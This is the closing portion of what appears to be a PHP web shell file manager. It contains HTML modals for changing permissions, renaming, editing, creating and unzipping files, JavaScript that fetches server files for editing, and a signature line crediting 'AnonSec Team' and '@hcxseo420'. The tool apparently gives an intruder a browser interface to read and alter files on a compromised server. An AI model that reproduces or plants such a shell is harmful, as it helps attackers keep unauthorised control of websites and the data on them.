            <button type="button" onclick="closeModal('modalUnzip')">Close</button>
          </div>
        <?php endif; ?>
      </form>
    </div>
  </div>

  <!-- Permission Modal -->
  <div id="modalPerm" class="modal">
    <div class="modal-content">
      <h3><i class="fa fa-key"></i> Change Permission (chmod)</h3>
      <form method="post" onsubmit="return validatePerm();">
        <input type="hidden" name="chmod_target" id="chmod_target">
        <label>Warning: changing permissions can break your site. Be sure about the value.</label><br>
        <input type="text" name="chmod_mode" id="chmod_mode" value="0755" pattern="[0-7]{3,4}" required>
        <div style="margin-top:10px;display:flex;gap:10px;justify-content:flex-end">
          <button>Save</button>
          <button type="button" onclick="closeModal('modalPerm')">Cancel</button>
        </div>
      </form>
      <p style="opacity:.7; font-size:12px; margin-top:8px;">
        @hcxseo420
      </p>
    </div>
  </div>

  <script>
    function openRename(n){
      document.getElementById('rename_old').value = n;
      document.getElementById('rename_new').value = n;
      document.getElementById('modalRename').style.display = 'flex';
    }
    function openEdit(relPath){
      fetch('?edit='+encodeURIComponent(relPath))
        .then(r=>r.text())
        .then(t=>{
          document.getElementById('edit_content').value = t;
          document.getElementById('edit_file').value = relPath;
          document.getElementById('modalEdit').style.display = 'flex';
        });
    }
    function openCreate(type){
      document.getElementById('create_type').value = type;
      document.getElementById('createTitle').innerHTML =
        (type==='folder' ? "<i class='fa fa-folder'></i> Create Folder" : "<i class='fa fa-file'></i> Create File");
      document.getElementById('create_name').value = '';
      document.getElementById('modalCreate').style.display = 'flex';
    }
    function openPerm(relPath,current){
      document.getElementById('chmod_target').value = relPath;
      document.getElementById('chmod_mode').value = current;
      document.getElementById('modalPerm').style.display = 'flex';
    }
    function validatePerm(){
      const v = document.getElementById('chmod_mode').value.trim();
      if(!/^[0-7]{3,4}$/.test(v)){ alert('Enter octal mode (3-4 digits), e.g. 755 or 0755'); return false; }
      return true;
    }
    function closeModal(id){ document.getElementById(id).style.display = 'none'; }
    function openUnzip(){ document.getElementById('modalUnzip').style.display = 'flex'; }

    document.querySelectorAll('.modal').forEach(m=>{
      m.addEventListener('click',e=>{ if(e.target===m) m.style.display='none'; });
    });
    function dismissFlash(){ const f=document.getElementById('flash'); if(f) f.remove(); }
    window.addEventListener('load', ()=>{ const f=document.getElementById('flash'); if(f){ setTimeout(()=>{ if(f) f.remove(); }, 3000); }});

    (function(){
      const baseUtcMs   = <?= (int)$serverNow ?> * 1000;
      const tzOffsetSec = <?= (int)$serverOffset ?>;
      const clientStart = Date.now();
      const el = document.getElementById('serverClock');

      function pad(n){ return String(n).padStart(2,'0'); }
      function render(utcMs){
        const d = new Date(utcMs + tzOffsetSec*1000);
        const s = d.getUTCFullYear() + '-' + pad(d.getUTCMonth()+1) + '-' + pad(d.getUTCDate())
                + ' ' + pad(d.getUTCHours()) + ':' + pad(d.getUTCMinutes()) + ':' + pad(d.getUTCSeconds());
        if (el) el.textContent = s;
      }
      function tick(){ render(baseUtcMs + (Date.now() - clientStart)); }
      tick(); setInterval(tick, 1000);
    })();
  </script>
</body>
</html>

Anon7 - 2022
AnonSec Team